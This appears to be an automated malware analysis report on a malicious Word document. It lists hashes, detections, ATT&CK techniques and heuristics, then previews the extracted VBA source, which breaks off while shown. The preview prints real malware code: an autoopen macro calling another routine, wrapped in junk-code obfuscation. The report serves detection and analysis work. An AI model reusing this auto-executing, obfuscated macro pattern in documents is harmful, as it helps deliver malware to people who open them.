Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8271d5ac4a0356ac…

MALICIOUS

Office (OLE)

118.9 KB Created: 2019-04-08 19:35:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: add38ca8db55941c3265fe34d3d0050e SHA-1: 60f1a037d2a32b9b045df889ab4581aa26919206 SHA-256: 8271d5ac4a0356ac810e79b61399eeea2fded9c45dded7a6cde5fdd24d0d36de
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains VBA macros. The presence of an AutoOpen macro and a GetObject call within the VBA code strongly suggests that the macro is designed to execute automatically upon opening the document. This macro likely serves to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6934484-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6934484-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 51317 bytes
SHA-256: 74c3700ac7f120d806c1240d29ceeab42c00b2a3c505ca473074740b2df8640a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wBwDCDQU"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "OCDADAAD"
Attribute VB_Base = "0{5E1660AC-1C5B-4601-8C2B-917CE90B077F}{003EC1B5-301F-499C-8316-195B70F4B799}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "GkDACBk"
Attribute VB_Base = "0{94613F18-F5EC-4CD5-BC55-C5D11C3DFC3B}{AC413878-67E0-4190-A2FC-0A5A58E238AA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "CXZAAB"
Function DkZZZA()
      If bCQQcA = 240687997 Then
      Select Case Y4AAACA1
         Case 854290183
            Day _
CInt(353689534)
            Day CStr(oACAABB _
* 475414670 / 531040945 + Log(cQkAAkx))
            Day 834803126
         Case 896507899
            Day 684169728
            Day _
Atn(728937559)
            Day Cos(lUCAQUQC + _
CSng(p_XcAAA))
      End Select
      If jxGGAAA Xor G_GABA Then
         Day _
Hex(814187661)
      End If
   End If
      If iABAAB4 = 845718600 Then
      Select Case ExZUUA
         Case 691970717
            Day _
CInt(999630805)
            Day CStr(nkAACAA _
* 518230318 / 137836354 + Log(UDXAcDkc))
            Day 559022635
         Case 320674797
            Day 456152693
            Day _
Atn(363001595)
            Day Cos(OABAAA_ + _
CSng(jA4AAU))
      End Select
      If SwUUCo Xor zAAoUB Then
         Day _
Hex(914058234)
      End If
   End If
End Function
Sub autoopen()
JAkAQA
End Sub
Function HAAkAwXA()
      If zkAx_k = 498428042 Then
      Select Case wBCwcAo
         Case 307615261
            Day _
CInt(480646112)
            Day CStr(sUwxAA _
* 663282042 / 992982471 + Log(f1AkAAAG))
            Day 835210174
         Case 359879233
            Day 332880323
            Day _
Atn(309605645)
            Day Cos(wXGDUC1U + _
CSng(K_A4oAD))
      End Select
      If oCAwAB Xor UAUUooCx Then
         Day _
Hex(69693989)
      End If
   End If
      If ZcAwDAA = 956730295 Then
      Select Case pA11AAQ
         Case 540418410
            Day _
CInt(296876234)
            Day CStr(pQUwAA _
* 255697160 / 31380228 + Log(lxcAUAw))
            Day 956453124
         Case 689392450
            Day 753251932
            Day _
Atn(45165329)
            Day Cos(bUUCGDAD + _
CSng(vAwCBAA4))
      End Select
      If BAw1AUU Xor QAACBA Then
         Day _
Hex(807643208)
      End If
   End If
      If BZC441 = 800363176 Then
      Select Case aAxAAAw
         Case 733478269
            Day _
CInt(620623386)
            Day CStr(XcAZ_4 _
* 971021366 / 369160997 + Log(EQQo_Q_))
            Day 180790779
         Case 205097660
            Day 460280401
            Day _
Atn(530713947)
            Day Cos(GABAA1cA + _
CSng(FAXDxQAC))
      End Select
      If OQXCAAB Xor jwcZoBkk Then
         Day _
Hex(164340210)
      End If
   End If
End Function


Attribute VB_Name = "ZGD_ckQC"
Function z4_DAo_()
      If awoBADDA = 823902824 Then
      Select Case vQUGDQQ
         Case 280630794
            Day _
CInt(357532929)
            Day CStr(TwcAC4A _
* 186354655 / 832994829 + Log(JoC_Dw))
            Day 794974942
         Case 116889907
            Day 79305042
            Day _
Atn(167595717)
            Day Cos(vAAAwk + _
CSng(qk1XX_D))
      End Select
      If aZwBAA Xor ZxB1UADQ Then
         Day _
Hex(507647989)
      End If
   End If
      If BBcAAAQ = 847189907 Then
      Select Case NAAUA_
         Case 373517403
            Day _
CInt(612614484)
            Day 
... (truncated)

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